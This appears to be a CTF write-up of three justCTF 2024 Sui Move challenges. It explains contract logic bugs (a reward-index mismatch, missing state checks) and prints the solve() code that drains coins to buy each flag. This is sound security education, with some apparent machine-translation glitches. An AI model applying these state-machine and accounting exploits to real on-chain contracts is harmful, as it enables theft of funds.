justCTF 2024 [teaser] — blockchain

Hi, my name is Ratmir Karabut and today I will tell you about my experience of participating in CTF.

Among the few challenges I managed to solve in the recent 24-hour justCTF qualifier, three were in the blockchain category and were based on simple Move contract games hosted on the Sui testnet. Each was a service that took a solver contract and checked the conditions of the solution against the published challenge contract to give a flag when they were met.

None of them look particularly difficult, but judging by the number of solutions, few of the participating teams tackled the category as a whole, so compared to other flags of similar difficulty, these three problems together brought a significant number of points thanks to dynamic scoring. The first one was more like a warm-up mickcheck with a trivial solution, the second one was more involved, but I found the puzzle in the third one really funny, which is what inspired me to write this article. However, it is worth describing everything in order:

The Otter Scrolls – easy (246 points, 33 solves)

The general idea of ​​the first task, The Otter Scrolls, was to master the process of working with the provided framework – after running our eyes over the contract, we understand that we only need to send it a vector with the correct index sequence, not even obfuscated in the contract sources, and then call the functions necessary to obtain the flag. To do this, it is enough to add to the body solve() in the issued sources/framework-solve/solve/sources/solve.move:

public fun solve(
    _spellbook: &mut theotterscrolls::Spellbook,
    _ctx: &mut TxContext
) {
    let spell = vector[1u64,0,3,3,3];
    theotterscrolls::cast_spell(spell, _spellbook);
    theotterscrolls::check_if_spell_casted(_spellbook);
}

After this you need to register in sources/framework-solve/dependency/Move.toml the correct address of the challenge contract (it can be obtained by directly contacting the service at the address given in the conditions using nc tos.nc.jsctf.pro 31337):

...
[addresses]             
admin = "0xfccc9a421bbb13c1a66a1aa98f0ad75029ede94857779c6915b44f94068b921e"                 
challenge = "542fe29e11d10314d3330e060c64f8fb9cd341981279432b03b2bd51cf5d489b"    

Launched after this HOST=tos.nc.jctf.pro ./runclient.sh (and of course, having installed Sui ), we receive the first flag from the service.

Dark BrOTTERhood – medium (275 points, 25 solves)

Analysis

Having glanced at the second contract, we see that the main game logic of interest to us is located after the standard binding in the functions of the SHOP and ADVENTURE TIME sections. Upon registration, the player receives 137 coins and 10 strength; by calling the function find_a_monster()we can add to the vector board.quests “monster” with random values ​​of strength (from 13 to 37) and reward (from 13 to 73), as well as the state NEW. fight_monster() allows us to defeat the monster from the quest vector if it is in a state NEWand its strength is less than the player's strength, in this case it resets the player's strength to 10 and changes the quest state to WON.

To gain the power needed to win, you will have to call upon buy_sword() – “sword” will increase the strength by 100 (which guarantees the fulfillment of the condition from fight_monster()), but will cost the player 137 coins – that is, all the money received initially. Since the maximum reward for a monster is only 73 coins, the very first “battle” will make the continuation of the game, according to its supposed logic, impossible – according to the function buy_flag It is clear that to buy a flag we will need 1337 coins.

Remaining game features – return_home()the meaning of which is to simply switch the state of the selected quest with WON on FINISHEDAnd get_the_reward()which checks the state FINISHED and gives the player a reward. This is what we should take a closer look at:

    #[allow(lint(self_transfer))]
    public fun get_the_reward(
        vault: &mut Vault<OTTER>,
        board: &mut QuestBoard,
        player: &mut Player,
        quest_id: u64,
        ctx: &mut TxContext,
    ) {
        let quest_to_claim = vector::borrow_mut(&mut board.quests, quest_id);
        assert!(quest_to_claim.fight_status == FINISHED, WRONG_STATE);

        let monster = vector::pop_back(&mut board.quests);

        let Monster {
            fight_status: _,
            reward: reward,
            power: _
        } = monster;

        let coins = coin::split(&mut vault.cash, (reward as u64), ctx); 
        coin::join(&mut player.coins, coins);
    }

The key detail that catches the eye is the discrepancy being checked quest quest, cleaned up from the vector; although we are allowed to specify the index of the quest for which we want to receive a reward, and it is its state that must be set in FINISHEDit is not the vector itself that is removed from the vector, but the last element of the vector – through vector::pop_back() (Vector – The Move Book)!

Exploitation

It turns out that, since nothing prevents us from filling the vector with an arbitrary (up to QUEST_LIMIT – 25) the number of quests, we can demand two monsters from the game, defeat the first one by buying a sword – which the initial conditions allow – thereby transferring the quest state from 0 to WONthen in FINISHED with help return_home()then specifying its index in get_the_reward()get a reward for second – the last one in the vector – the monster, while leaving the first one in the state FINISHED. Calling after this find_a_monster() And get_the_reward() the required – unlimited – number of times, we can be guaranteed to earn a flag in about a hundred repetitions.

Let's add the solution in solve():

    public fun solve(
        _vault: &mut Otter::Vault<OTTER>,
        _board: &mut Otter::QuestBoard,
        _player: &mut Otter::Player,
        _r: &Random,
        _ctx: &mut TxContext,
    ) {
        Otter::buy_sword(_vault, _player, _ctx);

        Otter::find_a_monster(_board, _r, _ctx);
        Otter::fight_monster(_board, _player, 0);        
        Otter::return_home(_board, 0);
        
        let mut i = 0;
        loop {
            Otter::find_a_monster(_board, _r, _ctx);
            Otter::get_the_reward(_vault, _board, _player, 0, _ctx);
            i = i + 1;
            if (i == 100) break;
        };

        let flag = Otter::buy_flag(_vault, _player, _ctx);
        Otter::prove(_board, flag);
    }

After which, similarly to the first task, we obtain and write in sources/framework-solve/dependency/Move.toml contract address and, having launched the client, we get the second flag.

World of Ottercraft – hard (271 points, 26 solves)

Analysis

The game in the third contract is similar to the previous one, but it is obviously more complex – for starters, now the state of the player himself is tracked, not the monster, and there are five of them – PREPARE_FOR_TROUBLE, ON_ADVENTURE, RESTING, SHOPPING And FINISHED. Next, now to buy power (and a flag) you will have to go to the “tavern” by calling the function enter_tavern() – this will switch the player's state from the required (and initial) RESTING V SHOPPINGwhich is checked by all purchase functions, and will return a variable of type TawernTicketwhich according to the rules of Move must be consumed inside the calling contract – this can only be done using the function checkout(). Thus, the player fills the shopping cart and leaves the tavern, again transferring the state to RESTING. From register() It's clear that this time we start with 250 coins.

There are now four purchasing functions – buy_flag() sets the corresponding flag ticket (which is later verified in checkout()leading to victory) and increases the amount by 537 coins, buy_sword(), buy_shield() And buy_power_of_friendship() They also increase the player's strength by 213, 7 and 9000 for 140, 20 and 190 coins, respectively.

Here you can immediately notice that the power increases instantly upon purchasewithout requiring verification that the amount required for the purchase is actually available on the player’s account – such verification only occurs in the game itself. checkout()as well as checking that the total cost is above 0 – without buying something, you can’t leave the tavern.

Also interesting is that, unlike the purchase functions, checkout() does not check the player's state at all – obviously, you can pay without being in the “tavern”Let's remember this for the future.

The ADVENTURE TIME section still consists of four functions – find_a_monster(), bring_it_on(), return_home() And get_the_reward(). Let's take a closer look:

public fun find_a_monster(board: &mut QuestBoard, player: &mut Player) {
    assert!(player.status != SHOPPING && player.status != FINISHED && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);
    assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MANY_MONSTERS);

    let quest = if (vector::length(&board.quests) % 3 == 0) {
        Monster {
            reward: 100,
            power: 73
        }
    } else if (vector::length(&board.quests) % 3 == 1) {
        Monster {
            reward: 62,
            power: 81
        }
    } else {
        Monster {
            reward: 79,
            power: 94
        }
    };

    vector::push_back(&mut board.quests, quest);
    player.status = PREPARE_FOR_TROUBLE;
}

find_a_monster() This time it doesn't give monsters random parameters, but gives out rewards and power depending on how many monsters are already in the vector. The state switches to PREPARE_FOR_TROUBLEbut it is interesting that the check in the function does not require a specific state, but only allows players in states SHOPPING, FINISHED And ON_ADVENTURE. The detail at first glance seems innocent, but let's still remember – call find_a_monster() can be done an unlimited number of times in a row.

public fun bring_it_on(board: &mut QuestBoard, player: &mut Player, quest_id: u64) {
    assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);

    let monster = vector::borrow_mut(&mut board.quests, quest_id);
    assert!(player.power > monster.power, BETTER_GET_EQUIPPED);

    player.status = ON_ADVENTURE;

    player.power = 10; //equipment breaks after fighting the monster, and friends go to party :c
    monster.power = 0; //you win! wow!
    player.quest_index = quest_id;
}

bring_it_on() also checks the player's status on discrepancybut this time there are no options other than BRING_IT_ONdoes not remain – therefore the function can be called only after find_a_monster()which looks correct. As in Dark BrOTTERhood, the player can choose a random monster from the vector to measure strength with it. In case of victory, the state goes into ON_ADVENTUREthe player's strength is reset to 10, the monster's strength is set to 0, player.quest_index (initially 0) – in the monster index.

public fun return_home(board: &mut QuestBoard, player: &mut Player) {
    assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != PREPARE_FOR_TROUBLE, WRONG_PLAYER_STATE);

    let quest_to_finish = vector::borrow(&board.quests, player.quest_index);
    assert!(quest_to_finish.power == 0, WRONG_AMOUNT);

    player.status = FINISHED;
}

return_home() again, correctly, although clumsily, checks the state and can apparently only be called after bring_it_on() – the status switches from ON_ADVENTURE V FINISHEDif the monster's strength is at index in player.quest_index equals zero.

public fun get_the_reward(vault: &mut Vault<OTTER>, board: &mut QuestBoard, player: &mut Player, ctx: &mut TxContext) {
    assert!(player.status != RESTING && player.status != PREPARE_FOR_TROUBLE && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);

    let monster = vector::remove(&mut board.quests, player.quest_index);

    let Monster {
        reward: reward,
        power: _
    } = monster;

    let coins = coin::split(&mut vault.cash, reward, ctx); 
    let balance = coin::into_balance(coins);

    balance::join(&mut player.wallet, balance);

    player.status = RESTING;
}

Finally, get_the_reward() again under-checks the state – we see that in addition to the implied FINISHED You can get a reward for the quest without leaving the tavernthat is, in status SHOPPING. Unlike Dark BrOTTERhood, however, it appears that the defeated monster is correctly removed from the vector – at least it is used player.quest_indexand you can't specify the index arbitrarily. The player gets coins and goes to the initial RESTING.

Exploitation

First, let's summarize the bugs found:

  1. Player strength increases in the tavern before checking for solvency

  2. you can pay a tavern check from anywhere, that is, from any state

  3. you can search for monsters, i.e. add them to the list, many times in a row (maybe a feature?)

  4. You can get a reward for a defeated monster (and return to a well-deserved rest) right from the tavern

Having turned these four points over in our heads this way and that, we realize, first of all – The monster reward received in the tavern can be used immediately to purchase! Indeed, if the reward is obtained from the tavern with the status switch in RESTINGA checkout() status does not check at all, get TawernTicket and you can pay it off by actually increasing, not decreasing, the amount on your account – you can't do without buying, but to fulfill this condition we can buy cheap shields, which the reward received will always outweigh. Since get_the_reward() uses immutable player.quest_indexand also – secondly – does not perform any checks on the state of the quest itself (after all, the monster's strength is only taken into account bring_it_on() And return_home()) – then it would be enough for us to build a queue of monsters for slaughter, obediently moving towards our (preferably zero) index with each new call get_the_reward().

But – thirdly – thanks to point 3 we already know how to arrange this queue! However, as in Dark BrOTTERhood, we will have to get our hands dirty and deal with one monster fairly in order to bypass the states correctly the first time – unfortunately, we can't use the first bug to do this, since TawerTicket must be used correctly. But this is not necessary – the initial capital is quite enough for the first battle. It is enough just to buy a sword and collect a full contingent of deceived monsters during the first passage through find_a_monster():

public fun solve(
    _board: &mut Otter::QuestBoard,
    _vault: &mut Otter::Vault<OTTER>,
    _player: &mut Otter::Player,
    _ctx: &mut TxContext
) {
    let mut ticket = Otter::enter_tavern(_player);
    Otter::buy_sword(_player, &mut ticket);
    Otter::checkout(ticket, _player, _ctx, _vault, _board);
    
    let mut i = 0;
    loop {
        Otter::find_a_monster(_board, _player);
        i = i + 1;
        if (i == 25) break;
    };
    
    Otter::bring_it_on(_board, _player, 0);
    Otter::return_home(_board, _player);
    Otter::get_the_reward(_vault, _board, _player, _ctx);

    i = 0;
    loop {
        let mut ticket = Otter::enter_tavern(_player);
        Otter::buy_shield(_player, &mut ticket);
        Otter::get_the_reward(_vault, _board, _player, _ctx);
        Otter::checkout(ticket, _player, _ctx, _vault, _board);
        i = i + 1;
        if (i == 24) break;
    };
        
    let mut ticket = Otter::enter_tavern(_player);
    Otter::buy_flag(&mut ticket, _player);
    Otter::checkout(ticket, _player, _ctx, _vault, _board);
}

By going through the familiar procedure, we get the third and final flag in the category.

Conclusion

As you can see, the logic vulnerabilities in this series were not directly related to Move (except perhaps for the underuse limitation TawernTicket in the third, which complicated the possible solution) – in principle, the tasks could have been implemented as standard off-chain services. However, they were well designed, it was convenient to solve them, and it was interesting to tinker with Sui, and this brought me 792 of the 1325 points I scored here – and besides, it will be good preparation for the next MoveCTF.

That's all.

Our website: https://radcop.online

Our TG: @radcop_online

Our YouTube channel: www.youtube.com/@radcop

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *